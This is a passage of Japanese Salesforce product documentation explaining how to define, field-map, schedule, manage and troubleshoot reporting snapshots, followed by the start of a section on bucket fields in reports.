ショットの [実行ユーザ]がSalesforceライセンスユーザである場合、Force.com Platform またはSalesforce Platform

Oneライセンスを持つユーザは、そのレポート作成スナップショットを参照できません。逆に、[実行ユー
ザ] が Force.com Platform または Salesforce Platform One ライセンスを持つ場合、Salesforce ライセンスを持つユー
ザは、そのレポート作成スナップショットを参照できます。そのため、Force.com Platform または Salesforce

Platform Oneライセンスユーザがいる場合は、Force.com Platform または Salesforce Platform Oneユーザライセンス
を持つ [実行ユーザ] がいる場合のレポート作成スナップショットを別途作成することをお勧めします。

• 互換性のあるデータ型の項目のみを対応付けることができます。たとえば、通貨項目は数値項目と対応付
けることができます。

• すでに項目の対応付けをしているレポート作成スナップショットのソースレポートまたは対象オブジェク
トを変更すると、レポート作成スナップショットを保存したときに項目の対応付けが削除されます。[ソー
スレポートの集計項目]と [対象オブジェクトの項目]を参照して、それぞれ集計項目数および対象項目数を
確認することもできます。

• ソースレポートの項目を対象オブジェクトの項目に対応付けていない場合は、レポート作成スナップショッ
トが実行されたときにソースレポートから対象オブジェクトにデータが読み込まれません。

• レポート作成スナップショットが定義または削除されたり、ソースレポートまたは対象オブジェクトが変
更されたりすると、組織の設定変更履歴に記録されます。

• レポート作成スナップショットの詳細ページにある [実行履歴] セクションには、実行したレポート作成ス
ナップショットに関する詳細が表示されます。具体的な内容は次のとおりです。
– レポート作成スナップショットが実行された日時
– ソースレポート、対象オブジェクト、および実行ユーザの名前
– レポート作成スナップショットの実行に要した時間
– レポートタイプによって異なる、ソースレポートの [詳細] 行または [集計] 行数の合計
– 対象オブジェクトで作成されたレコード件数
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– レポート作成スナップショットが正常に実行されたかどうか

関連トピック:

レポート作成スナップショットを使用した履歴データのレポート
アクセシビリティモードでのカスタムレポートの作成

レポート作成スナップショットの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポート作成スナップ
ショットを作成、保存、
およびスケジュールする
• 「レポート作成スナッ

プショットの管理」

レポート作成スナップ
ショットを実行ユーザと
して実行し、結果をカス
タムオブジェクトに追加
する
• 「レポート実行」

および

対象オブジェクトに対
する「作成」

ソースレポート、対象オブジェクト、対象オブジェクト項目を作成すると、レ
ポート作成スナップショットを定義できます。レポート作成スナップショット
を定義するには、名前を付けてから、レポート作成スナップショットの実行時
に、レポート結果を指定の対象オブジェクトに読み込むソースレポートを選択
します。
1. [設定] から、[クイック検索] ボックスに「レポート作成スナップショット」

と入力し、[レポート作成スナップショット] を選択します。
2. [新規レポート作成スナップショット] をクリックします。
3. レポート作成スナップショットの名前、一意の名前、および説明を入力しま

す。
4. ルックアップアイコンをクリックして、[実行ユーザ]項目でユーザを選択し

ます。
[実行ユーザ]項目のユーザによって、ソースレポートのデータへのアクセス
権が決まります。これにより、セキュリティ設定に関係なく、対象オブジェ
クトのレコードを参照できるすべてのユーザが、対象オブジェクトに格納さ
れたソースレポートの結果を参照できることになります。
「すべてのデータの編集」権限を持つユーザのみ、自分以外の実行ユーザを
選択できます。

5. [ソースレポート] ドロップダウンリストからレポートを選択します。
ここで選択するレポートによって、レポート作成スナップショット実行時に
対象オブジェクトにレコードとして読み込まれるレポート結果が決まりま
す。
カスタムテーブル形式レポートまたは集計レポートを、過去の売上予測レ
ポート、予実対比表レポート、およびリードソースレポートを除いたソース
レポートとして選択できます。[ソースレポート] ドロップダウンリストに
は、標準レポートは表示されません。

6. [対象オブジェクト] ドロップダウンリストからカスタムオブジェクトを選択します。
選択したカスタムオブジェクトは、レポート作成スナップショット実行時にソースレポートの結果をレコー
ドとして受け取ります。
レポート作成スナップショットに使用されるレコードに関連付けられたレコードタイプがない場合、実行
ユーザのレコードタイプはデフォルトでレポート作成スナップショットに関連付けられます。
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7. [保存]をクリックしてレポート作成スナップショットの定義を保存するか、[保存 & 項目の対応付けの編集]

をクリックしてレポート作成スナップショットを保存し、その項目を対応付けます。
8. 対象オブジェクトの項目にソースレポートの項目を対応付けます。

関連トピック:

標準レポートタイプ

レポート作成スナップショット項目の対応付け

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポート作成スナップ
ショットを作成、保存、
およびスケジュールする
• 「レポート作成スナッ

プショットの管理」

レポート作成スナップ
ショットを実行ユーザと
して実行し、結果をカス
タムオブジェクトに追加
する
• 「レポート実行」

および

対象オブジェクトに対
する「作成」

ソースレポート、対象オブジェクト、対象オブジェクトの項目を作成し、レポー
ト作成スナップショットを定義した後に、ソースレポートの項目と対象オブジェ
クトの項目を対応付けることができます。それにより、実行時にソースレポー
トの項目から対象オブジェクトの項目にデータを自動的に読み込みます。
1. [設定] から、[クイック検索]ボックスに「レポート作成スナップショット」と

入力し、[レポート作成スナップショット] を選択します。
2. 項目の対応付けを行うレポート作成スナップショットの名前を選択します。
3. [項目の対応付け] セクションで、[編集] をクリックします。
4. サマリーレポートの場合、ソースレポートからサマリーデータを抽出する

[グルーピングレベル] で指定できます。対象オブジェクトに読み込まれた
データは、指定したグルーピングレベルの集計項目から取得されます。[総
集計]は、すべてのグルーピングレベルの合計を集計します。

5. [ソースレポートの項目] 列の [読み込みデータ無し]ドロップダウンリストを
クリックし、[対象オブジェクトの項目] 列のカスタムオブジェクト項目に対
応付けるソースレポートの項目を選択します。サマリーレポートに基づいて
レポート作成スナップショットに対応付けることができるのは、集計項目だ
けです。サマリーレポートの項目は、選択したグルーピングレベルによって
異なります。

6. [適用] をクリックし、項目の対応付けを保存して引き続き項目を対応付ける
か、[保存] をクリックして項目の対応付けを保存し、レポート作成スナップ
ショットの詳細ページに戻ります。

7. 次に、レポート作成スナップショットの実行をスケジュールします。

レポート作成スナップショット項目の対応付けでの考慮事項
• ソースレポートの項目を対象オブジェクトの項目に対応付けていない場合

は、レポート作成スナップショットが実行されたときにソースレポートから
対象オブジェクトにデータが読み込まれません。

• 互換性のあるデータ型の項目のみを対応付けることができます。たとえば、通貨項目は数値項目と対応付
けることができます。

• カスタム集計項目は、レポート作成スナップショットのグルーピングレベルとカスタム集計項目のグルー
ピングレベルが一致する場合にのみ、対応付けることができます。
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• [ソースレポートの項目] 列で [読み込みデータ無し] を選択した場合は、レポート作成スナップショットを実
行したときに [対象オブジェクトの項目] 列の対応する項目にデータが読み込まれません。

• 対象オブジェクトの項目のデータ型と互換性のあるソースレポートの項目が存在しない場合は、[ソースレ
ポートの項目] 列に、[(互換性のあるデータ型の項目がありません)] と表示されます。

• 対象オブジェクトの項目によって、項目の対応付けの可否が決まります。たとえば、ソースレポートに 10

項目あっても、対象オブジェクトに 1 項目しかない場合は、レポート作成スナップショットで対応付けら
れる項目は 1 つのみです。

• ソースレポートの項目を、対象オブジェクトの[作成者]、[最終更新者]、[作成日]、[最終更新日] の項目
に対応付けることはできません。

• ソースレポートの項目を対象オブジェクトと対応付けると、対象オブジェクトに読み込まれるときに一部
のデータがそのコンテキストを失うことがあります。たとえば、ソースレポートの日付/時間項目を対象オ
ブジェクトのテキスト項目と対応付けると、対象オブジェクトにはタイムゾーン情報のない日時が読み込
まれます。

• レポート作成スナップショットを実行するときに、対象オブジェクト内の対応付けられた項目への「参照」
または「更新」アクセス権を実行ユーザが持っていない場合、その項目は対応付けから削除されますが、
実行が失敗することはありません。対象オブジェクトの必須項目が対応付けられていない場合、実行は失
敗します。項目が常に確実に対応付けられるようにするには、項目を必須にするか、項目にデフォルト値
を設定します。

• ソースレポートの項目を対象オブジェクトの参照項目に対応付けるには、参照先に関連付けられたオブジェ
クトの ID に対応付ける必要があります。たとえば、商談参照項目に対応付けるには、その[商談 ID] に対
応付ける必要があります。ソースレポートで[商談 ID] を取得するには、カスタムレポートタイプを使用
して ID およびその他の関連項目を含めることが必要な場合があります。

関連トピック:

レポート作成スナップショットを使用した履歴データのレポート
カスタム集計項目の作成
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レポート作成スナップショットのスケジュールと実行

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポート作成スナップ
ショットを作成、保存、
およびスケジュールする
• 「レポート作成スナッ

プショットの管理」

レポート作成スナップ
ショットを実行ユーザと
して実行し、結果をカス
タムオブジェクトに追加
する
• 「レポート実行」

および

対象オブジェクトに対
する「作成」

ソースレポート、対象オブジェクト、および対象オブジェクト項目を作成し、
レポート作成スナップショットを定義して、その項目を対応付けたら、レポー
ト作成スナップショットの実行をスケジュールできます。必要なソースレポー
トのデータが対象オブジェクトに読み込まれるように、レポート作成スナップ
ショットの実行スケジュールを、毎日、毎週、または毎月に設定します。
実行をスケジュールできるレポート作成スナップショットの数は、エディショ
ンによって決まります。レポート作成スナップショットの実行が完了した後、
実行日時、実行結果が正常かどうか、ソースレポートから対象オブジェクトに
読み込まれたレコード件数など、レポート作成スナップショットの実行に関す
る詳細が記載されたメール通知を自分自身と他のユーザに送信できます。この
通知には、Salesforce のレポート作成スナップショットの詳細ページへのリンク
も記載されています。
1. [設定] から、[クイック検索] ボックスに「レポート作成スナップショット」

と入力し、[レポート作成スナップショット] を選択します。
2. 実行をスケジュールするレポート作成スナップショットの名前を選択しま

す。
[実行ユーザ]項目のユーザが、ソースレポートが保存されているフォルダに
対するアクセス権を持っていない場合、レポート作成スナップショットはス
ケジュールどおりに実行されません。

メモ: 実行ユーザが無効になると、レポートが実行されません。Salesforce

から、ユーザを有効にするか、レポートスケジュールを削除するか、ま
たは実行ユーザを有効な実行ユーザに変更するよう求めるメール通知が
送信されます。Salesforce からの通知は、「ユーザの管理」権限、「すべ
てのデータの編集」権限、および「請求情報の管理」権限を持つユーザ
に送信されます。これらのすべてのユーザ権限を持つユーザがいない場
合は、Salesforce から「ユーザの管理」権限と「すべてのデータの編集」
権限を持つユーザに通知が送信されます。

3. [レポート作成スナップショットのスケジュール] セクションの [編集] をクリックします。
レポート作成スナップショットの詳細ページにある [レポート作成スナップショットのスケジュール] セク
ションには、レポート作成スナップショットの実行スケジュールに関する詳細が表示されます。

4. レポート作成スナップショットの実行終了時に送信するメールの通知設定を選択します。
• 自分の Salesforce ユーザレコードで指定しているメールアドレスに送信する場合は、[自分] をクリック

します。
• メールを他のユーザにも送信する場合は、[その他...]をクリックします。レポート作成スナップショッ

ト通知は、Salesforce ユーザレコードに記載されているメールアドレスにのみ送信できます。また、[検
索] ドロップダウンリストでは、[ユーザ] と [公開グループ] のみ選択できます。

5. レポート作成スナップショットの実行をスケジュールする手順は、次のとおりです。
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[頻度] 項目で、レポート作成スナップショットが実行される頻度を選択します。[毎日]、[毎週]、ま
たは [毎月] 項目をクリックすると、頻度条件を細かく指定できるオプションが表示されます。
毎月特定の日にレポート作成スナップショットを実行するようにスケジュールした場合、そのレポート
作成スナップショットは、その日を含む月にのみ実行されます。たとえば、毎月 31 日にレポート作成

•

スナップショットを実行するようにスケジュールした場合、そのレポート作成スナップショットは、31

日まである月にのみ実行されます。毎月月末にレポート作成スナップショットを実行する場合は、[毎
月の指定日] ドロップダウンリストから [最終] を選択します。

• [開始]および [終了]項目で、レポート作成スナップショットの実行をスケジュールする日付を指定し
ます。

• [希望開始時刻] ドロップダウンリストで、[選択可能なオプション...] リンクをクリックして、希望する
レポート作成スナップショット実行開始時刻を選択します。
– 他のユーザがすでにその時刻をレポート作成スナップショット実行時刻として選択している場合、

または組織のレポート作成スナップショット上限数に達している場合は、その希望開始時刻を選択
できない場合があります。

– レポート作成スナップショットは、実行をスケジュールしたユーザのタイムゾーンに基づいて実行
されます。たとえば、ユーザレコードの [タイムゾーン]項目が太平洋標準時間に設定されており、
毎日 2:00 PM にレポート作成スナップショットを実行するようにスケジュールした場合は、太平洋標
準時間の毎日 2:00 PM にレポート作成スナップショットが実行されます。

– 以前スケジュールしたタイムゾーンとは別のタイムゾーンでスケジュールを表示し、保存する場合、
時間枠が変わる場合があります。

– [希望開始時刻] ドロップダウンリストで選択した時間内にレポート作成スナップショットが実行さ
れます。たとえば、希望開始時刻として 2:00 PM を選択した場合、そのレポート作成スナップショッ
トは、その時刻にスケジュールされている他のレポート作成スナップショットの数によって、2:00

PM から 2:59 PM の間に実行されます。

6. [保存] をクリックして、レポート作成スナップショットの実行をスケジュールします。
レポート作成スナップショットが実行されると、新規レコードが対象オブジェクトに追加されます。

レポート作成スナップショットの実行スケジュールを設定後、必要に応じて、レポート作成スナップショット
の詳細ページの [レポート作成スナップショットのスケジュール] セクションにある [編集]をクリックして次の
アクションを実行できます。
• [編集] をクリックして、レポート作成スナップショットの通知および頻度設定を更新する。
• [削除] をクリックして、レポート作成スナップショットの既存の実行スケジュールを完全に削除する。
次の場合は、レポート作成スナップショットをスケジュール実行したときに失敗します。
• ソースレポートの項目数が 100 を超えている
• ソースレポートは集計から表形式に変更された
• サマリーソースレポートに選択されたグルーピングレベルが無効である
• 実行ユーザが、ソースレポートへのアクセス権を持っていない
• 実行ユーザが、「レポートの実行」権限を持っていない
• 対象オブジェクトのカスタム項目数が 100 を超えている
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• 対象オブジェクトに入力規則が含まれている
• 対象オブジェクトがワークフローに含まれている
• 対象オブジェクトが主従関係の従オブジェクトである
• 対象オブジェクトでレコード新規作成時の Apex トリガが実行される
• 実行ユーザが、ターゲットオブジェクトに対する「作成」権限を持っていない。ターゲットオブジェクト

の状況が [開発中]である場合、実行ユーザは「アプリケーションのカスタマイズ」権限を持っている必要
があります。

レポート作成スナップショットの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポート作成スナップ
ショットを作成、保存、
およびスケジュールする
• 「レポート作成スナッ

プショットの管理」

レポート作成スナップ
ショットを実行ユーザと
して実行し、結果をカス
タムオブジェクトに追加
する
• 「レポート実行」

および

対象オブジェクトに対
する「作成」

レポート作成スナップショットの設定後は、詳細の参照、編集、削除が可能で
す。[設定] から、[クイック検索] ボックスに「レポート作成スナップショット」
と入力し、[レポート作成スナップショット]を選択すると、[レポート作成スナッ
プショット] ページが表示され、組織で定義されているレポート作成スナップ
ショットの一覧が表示されます。
[レポート作成スナップショット] ページから、次の操作が可能です。
• [ビュー]ドロップダウンリストからリストビューを選択してそのリストペー

ジに直接移動するか、[新規ビューの作成] をクリックして自分専用のカスタ
ムビューを定義する。

• [新規レポート作成スナップショット] をクリックして、新規レポート作成ス
ナップショットを定義する。

• レポート作成スナップショットの名前の横にある [編集]をクリックして、レ
ポート作成スナップショットの名前、説明、実行ユーザ、ソースレポート、
対象オブジェクトを更新する。「すべてのデータの編集」権限を持つユーザ
のみ、自分以外の実行ユーザを選択できます。「アプリケーションのカスタ
マイズ」権限を持つユーザは、API および管理パッケージで使用する一意の
名前を入力します。
すでに項目の対応付けをしているレポート作成スナップショットのソースレ
ポートまたは対象オブジェクトを変更すると、レポート作成スナップショッ
トを保存したときに項目の対応付けが削除されます。[ソースレポートの集計
項目]と [対象オブジェクトの項目]を参照して、それぞれ集計項目数および
対象項目数を確認することもできます。

• レポート作成スナップショットの名前の横にある [削除]をクリックして、レ
ポート作成スナップショットを削除する。レポート作成スナップショットが
削除された後に、ごみ箱から復元することはできません。

重要: レポート作成スナップショットを削除しても、ソースレポートと
対象オブジェクトは削除されません。ただし、ソースレポートを実行し
ても、データは対象オブジェクトに読み込まれません。
レポート作成スナップショットを実行するときに、スケジュールを削除
できます。実行中のレポート作成スナップショットの停止や一時停止、
ソースレポートの削除はできません。ソースレポートを削除するには、
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まず [ソースレポート]ドロップダウンリストでレポートを変更して、レポート作成スナップショット
からレポートを削除する必要があります。

• レポート作成スナップショットの名前をクリックして詳細情報を表示し、カスタマイズする。カスタマイ
ズ後、次の操作を実行できます。
– [ID] セクションのリンクをクリックして、レポート作成スナップショットの実行ユーザ、ソースレポー

ト、および対象オブジェクトの詳細を表示する。さらに、次のレポート作成スナップショットを実行す
る希望日時を [次の実行] 項目で参照し、レポート作成スナップショットを最後に実行した日時を [最
終実行] 項目で参照できます。

– [項目の対応付け] セクションで [編集] をクリックして、ソースレポートと対象オブジェクトの項目の対
応付けをカスタマイズする。
[レポート作成スナップショット項目の対応付け] セクションには、対応付けられているソースレポート
の項目と対象オブジェクトの項目が表示されます。[ソースレポートの列]項目で対象オブジェクトへの
対応付けが可能なソースレポートの項目数を確認できます。さらに、[対象オブジェクトの項目]で、対
応付けが可能な対象オブジェクトの項目数も確認できます。

– [レポート作成スナップショットのスケジュール] セクションで [編集] をクリックして、レポート作成ス
ナップショットの実行スケジュールを設定する。
[レポート作成スナップショットのスケジュール] セクションには、レポート作成スナップショットの現
在の実行スケジュールの詳細が表示されます。

– [実行履歴] セクションには、レポート作成スナップショットが実行された時期に関する詳細が表示され
ます。具体的な内容は次のとおりです。
• レポート作成スナップショットが実行された日時
• ソースレポート、対象オブジェクト、および実行ユーザの名前
• レポート作成スナップショットの実行に要した時間
• レポートタイプによって異なる、ソースレポートの [詳細] 行または [集計] 行数の合計
• 対象オブジェクトで作成されたレコード件数
• レポート作成スナップショットが正常に実行されたかどうか
最大200件のレコードが [実行履歴] セクションに格納されます。200件のレコードが格納されると、その
後は最も古いレコードが自動的に削除されます。ごみ箱から元に戻すことはできません。

関連トピック:

レポート作成スナップショットを使用した履歴データのレポート
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レポート作成スナップショットのトラブルシューティング

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポート作成スナップ
ショットを作成、保存、
およびスケジュールする
• 「レポート作成スナッ

プショットの管理」

レポート作成スナップ
ショットを実行ユーザと
して実行し、結果をカス
タムオブジェクトに追加
する
• 「レポート実行」

および

対象オブジェクトに対
する「作成」

レポート作成スナップショットの詳細ページにある [実行履歴] セクションには、
レポート作成スナップショットが正常に実行されたかどうかが表示されます。
スケジュール実行中にレポート作成スナップショットが失敗すると、その失敗
が [結果] 列に記録されます。実行の詳細を参照するには、[実行開始時刻] 列
で実行日時をクリックします。

ヒント:

• [合計行数] が空白の場合、レポートが完了する前に実行が失敗してい
ます (レポートが無効だった、または実行ユーザが無効など)。

• レポート作成スナップショットが実行されると、最大 2000 件の新規レ
コードを対象オブジェクトに追加できます。2000 件を超えるレコード
は、[行作成の失敗] 関連リストに記録されます。[合計行数]が空白で実
行履歴に「一部の行で失敗」と表示されている場合、レポートにはおそ
らく 2000 件を超える集計が含まれています。

• 失敗した実行の詳細は、[行作成の失敗] 関連リストに 14 日間表示され、
その後自動的に削除されます。行作成の失敗に関する詳細をごみ箱から
元に戻すことはできません。

• 対象オブジェクトに固有項目があり、レポート内のレコードでその固有
項目に対応付けられた列に複数の同じ値がある場合、重複するレコード
は追加されません。実行履歴にはレコードがレポート作成スナップショッ
トに追加されなかった時期が表示されます。

• 項目の対応付けに失敗すると、スナップショットはそのまま実行されま
すが、実行履歴には部分エラーがあったことが示されます。

レポート作成スナップショットは、スケジュール実行中にさまざまな理由で失
敗することがあります。次の表に、実行に失敗した場合に表示されるエラー、
およびエラーを参考にしてレポート作成スナップショットの問題を解決し、正
常に実行する方法を記載します。
実行ユーザには、レポートを実行する権限がありません。

[実行ユーザ] 項目のユーザが「レポートの実行」または「レポートの作成とカスタマイズ」権限を持って
いません。適切な権限を持つユーザを選択するか、実行ユーザの適切な権限を有効化します。

ソースレポートが削除されているため、レポート作成スナップショットを実行できません。
[ソースレポート] 項目のレポートが削除され、実行できなくなっています。別のレポート作成スナップ
ショット用ソースレポートを選択するか、削除されたレポートをごみ箱から復元します。

実行ユーザには、ソースレポートにアクセスする権限がありません。
[実行ユーザ] 項目のユーザが、ソースレポートが保存されているフォルダへのアクセス権を持っていませ
ん。アクセス権を持つユーザを選択するか、アクセス権を既存の実行ユーザに付与します。

ソースレポート定義が破棄されています。
[ソースレポート] 項目のレポートが、レポートの使用できなくなっているカスタムオブジェクトまたは外
部オブジェクトの項目を参照しているか、レポート内のオブジェクト間のリレーションが変更されていま
す。
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ソースレポート定義が無効です。
[ソースレポート] 項目のレポートに無効な数式または検索条件が含まれているため、レポートを実行でき
ません。レポートを更新することにより、エラーを出さずに実行できるようになります。

実行ユーザには、レポートタイプにアクセスする権限がありません。
[実行ユーザ]項目のユーザが、[ソースレポート]項目のレポートのレポートタイプにアクセスする権限を
持っていません。適切な権限を持つ実行ユーザを選択するか、既存の実行ユーザに適切な権限を付与しま
す。

ソースレポートは表形式である必要があります。
[ソースレポート] 項目のレポートが表形式でなくなっています。新しいソースレポートを選択するか、既
存のソースレポートの形式を更新して表形式にします。

ソースレポートの最終保存時のレポート結果の詳細が非表示です。
[ソースレポート] 項目のレポートが、詳細を非表示にしたままで保存されています。ソースレポートの詳
細を表示するには、そのレポートを表示して [詳細の表示] ボタンをクリックし、レポートを保存します。

対象オブジェクトが削除されているか、実行ユーザに対象オブジェクトへのアクセス権限がありません。
[対象オブジェクト]項目のカスタムオブジェクトが削除されたか、[実行ユーザ]項目のユーザが対象オブ
ジェクトにアクセスする権限を持っていません。[対象オブジェクト] 項目で選択している削除されたカス
タムオブジェクトを復元するか、新しい対象オブジェクトを選択するか、またはカスタムオブジェクトに
対する「作成」権限を既存の実行ユーザに付与します。カスタムオブジェクトの状況が [開発中]である場
合、実行ユーザが対象オブジェクトにアクセスするには「アプリケーションのカスタマイズ」権限を持っ
ている必要があります。

実行ユーザには、対象オブジェクトを編集する権限がありません。
[実行ユーザ]項目のユーザが、[対象オブジェクト]項目のカスタムオブジェクトに対する「作成」権限を
持っていません。その権限を持つ実行ユーザを選択するか、[対象オブジェクト] 項目のカスタムオブジェ
クトに対する「作成」権限を既存の実行ユーザに付与します。

対象オブジェクトは主従関係の主オブジェクトである必要があります。
[対象オブジェクト]項目のカスタムオブジェクトが、主従関係の従オブジェクトになっています。つまり、
対象オブジェクトのレコードに対する特定の動作が主オブジェクトによって制御されます。主従関係にな
い対象オブジェクトを選択します。

対象オブジェクトをワークフローに含めてはいけません。
[対象オブジェクト] 項目のカスタムオブジェクトがワークフローに含まれています。ワークフローに含ま
れていない対象オブジェクトを選択します。

対象オブジェクトに挿入トリガを含めてはいけません。
[対象オブジェクト] 項目のカスタムオブジェクトの新規レコード作成時に、Apex トリガが実行されます。
Apexトリガを削除するか、新しいレコードが作成されてもApexトリガが実行されない対象オブジェクトを
選択します。

対象オブジェクトに入力規則を含めてはいけません。
[対象オブジェクト] 項目のカスタムオブジェクトに入力規則が含まれています。入力規則を含まない対象
オブジェクトを選択するか、既存の対象オブジェクトから入力規則を削除します。

実行ユーザが無効です。
[実行ユーザ] 項目のユーザが無効になっています。有効なユーザを選択します。

4922

レポート分析



対象オブジェクトの必須項目が対応付けられていません。
対象オブジェクトの必須項目が対応付けされていません。対象オブジェクトのすべての必須項目をソース
レポートの項目に対応付けます。

ソースレポートの項目または条件が多すぎるか、関数の多すぎる数式項目を含んでいます。
[ソースレポート] 項目のレポートの項目または条件が多すぎるか、数式項目内の関数が多すぎます。不要
な項目か条件、または数式項目内の不要な関数をソースレポートから削除します。

ソースレポートで選択できる項目は 100 までです。
[ソースレポート]項目のレポートに、100 を超える項目があります。ソースレポートから不要な項目を削除
します。

対象オブジェクトに含められるカスタム項目は 100 までです。
[対象オブジェクト] 項目のカスタムオブジェクトに 100 を超えるカスタム項目があります。対象オブジェ
クトから不要な項目を削除します。

レポートの処理中にタイムアウトエラーが発生しました。
[ソースレポート] 項目のレポートで、処理するデータが多すぎる可能性があります。レポートの日付範囲
を制限し、ソースレポートから不要な項目を削除して、実行時にレポートが処理するデータの量を減らし
ます。

このレポート作成スナップショットの一意の名前はすでに存在します。一意の名前を指定してください。
作成しようとしている新規スナップショットは既存のスナップショットと同じ名前です。

集計項目に有効な数字が返されませんでした。
結果の集計項目は有効な数値を返しませんでした。たとえば、項目で 0 で除算しようとした可能性があり
ます。数式を確認して、0 および「null」がデータに含まれる場合はテスト計算をしてください。

レポート作成スナップショットに問題が発生しました。ソースレポート形式が表形式から集計形式に変更されまし
た。レポート作成スナップショットにおける項目の対応付けが正しくありません。レポート形式を表形式に戻すか、
スナップショット定義における項目の対応付けを更新してください。

ソースレポート形式は表形式から集計形式に変更されました。そのためレポート作成スナップショットの
項目の対応付けは不正になっています。このエラーを修復するには、スナップショット定義でレポート形
式を表形式に戻すか、項目の対応付けを更新します。このエラーは、サマリーレポートのあるレポート作
成スナップショットにのみ適用されます。

レポート作成スナップショットに問題が発生しました。ソースレポートは表形式または集計形式である必要があり
ます。

ソースレポート形式は表形式または集計形式である必要があります。マトリックスレポートはレポート作
成スナップショットでは使用できません。

レポート作成スナップショットで指定したグルーピングレベルが無効になりました。実行ユーザが、その項目への
アクセス権がなくなったか、グルーピングレベルがソースレポートから削除されたか、または、グルーピングレベ
ルが設定されていなかった可能性があります。

このエラーの原因として、グルーピングレベルで指定された項目への実行ユーザのアクセス権がなくなっ
たか、グルーピングレベルがソースレポートから削除されたか、または、グルーピングレベルが設定され
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ていなかった可能性があります。このエラーは、サマリーレポートのあるレポート作成スナップショット
にのみ適用されます。実行ユーザにすべての必要な項目へのアクセス権があることを確認してください。

関連トピック:

カスタムレポートの作成

バケットを使用したデータの迅速な分類

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

バケットを使用することで、数式またはカスタム項目を作成せずに、レポート
レコードをすばやく分類できます。バケット項目の作成時に、レポートの値を
グループ化するために使用する複数のカテゴリ (バケット) を定義します。
バケットを使用することで、数式またはカスタム項目を作成せずに、レポート
レコードをすばやく分類できます。たとえば、[従業員数] 項目に基づく [サイ
ズ]というバケット項目を作成します。次に、定義する「大」、「中」、「小」
の範囲にレコードをグループ化するバケットを作成します。バケット項目は、
他の項目と同様に、レポートの並び替え、絞り込み、およびグループ化に使用
できます。

1. バケット項目の追加
レポートデータを整理するバケットを入れるバケット項目を作成します。

2. バケット項目の編集
バケット項目に含めるバケットおよびバケットに含める値を指定して、バケット項目を設定します。

3. 数値バケット項目の編集
数値バケットは、数値で表すことのできるデータの並び替えに役立ちます。

4. 数値のバケット化の例: 取引の規模
取引の状況を把握するために、個別の取引を確認する代わりに、バケット化を使用して取引の規模別にグ
ループ化することができます。こうすることで、目標に最も影響する大規模な取引に集中して取り組むこ
とができます。

5. 選択リストバケット項目の編集
選択リストバケット項目には、リストから選択できる項目が含まれます。

6. 選択リストのバケット化の例: 業種
選択リストバケット項目を使用して、業種で取引先を並び替えます。

7. テキストバケット項目の編集
テキストバケットは、単語または語句で構成される値を並び替えるのに役立ちます。

8. テキストバケットの値の入力
テキストバケット項目には、内容を説明する名前とテキスト文字列を含む 2 つ以上のバケットが必要です。

9. テキストのバケット化の例: 戦略的な取引先
テキストバケットを使用して、処理できる一般的なカテゴリに取引先を並び替えます。
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バケット項目の追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

レポートデータを整理するバケットを入れるバケット項目を作成します。
レポートあたり最大 5 個のバケットを追加し、各バケットには最大 20 個のバケッ
トを定義できます。
1. レポートビルダーの [項目] ペインで [バケット項目の追加] をダブルクリック

するか、レポートプレビューにドラッグします。また、レポートの項目の列
メニューをクリックし、[この項目をバケット項目にする] を選択することも
できます。

2. データ型に応じてバケット項目を編集します。
• 数値バケット項目の編集
• 選択リストバケット項目の編集
• テキストバケット項目の編集
他のデータ型の項目はサポートされていません。

バケット項目の編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

バケット項目に含めるバケットおよびバケットに含める値を指定して、バケッ
ト項目を設定します。
1. [バケット項目] の下にあるレポートビルダーの [項目] ペインで、バケット項

目にマウスポインタを置いて、 をクリックします。または、[プレビュー]

ペインで、バケット項目の列メニューをクリックして、[バケット項目を編
集] を選択します。

2. データ型に応じてバケット項目を編集します。
• 数値バケット項目の編集
• 選択リストバケット項目の編集
• テキストバケット項目の編集

4925

レポート分析



数値バケット項目の編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

数値バケットは、数値で表すことのできるデータの並び替えに役立ちます。
数値項目の [バケット項目を編集] フロート表示で、次の操作を実行します。
1. [ソース列] で、バケット化する項目を選択します。
2. バケット項目の名前を入力します。これは、レポートの列名として表示され

ます。
バケット項目は項目内に複数のバケット (数値バケット項目では「範囲」と
呼ばれます) を含める目的で作成されるため、適切なバケット項目の名前は
範囲を説明したものになります。たとえば、「サイズ」という名前のバケッ
ト項目には、「小」、「中」、「大」の範囲があります。

3. 数字と名前を入力し、範囲を定義します。範囲名が新しい列に値として表示
されます。
各範囲は小さい数字より大きく、大きい数字を含む範囲までです。
すべての範囲を削除して、最初から開始するには、[選択解除] をクリックし
ます。

4. すべての空の値をゼロの値が含まれるバケットに移動するには、[レポート
の空のソース列値はゼロとして処理します。] を有効にします。
これを無効にすると、バケット化が解除された値が列でダッシュ (-) として表
示されます。

5. [OK] をクリックします。
レポートで、数値バケット列は範囲値で並び替えられます。

関連トピック:

数値のバケット化の例: 取引の規模
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数値のバケット化の例: 取引の規模

エディション

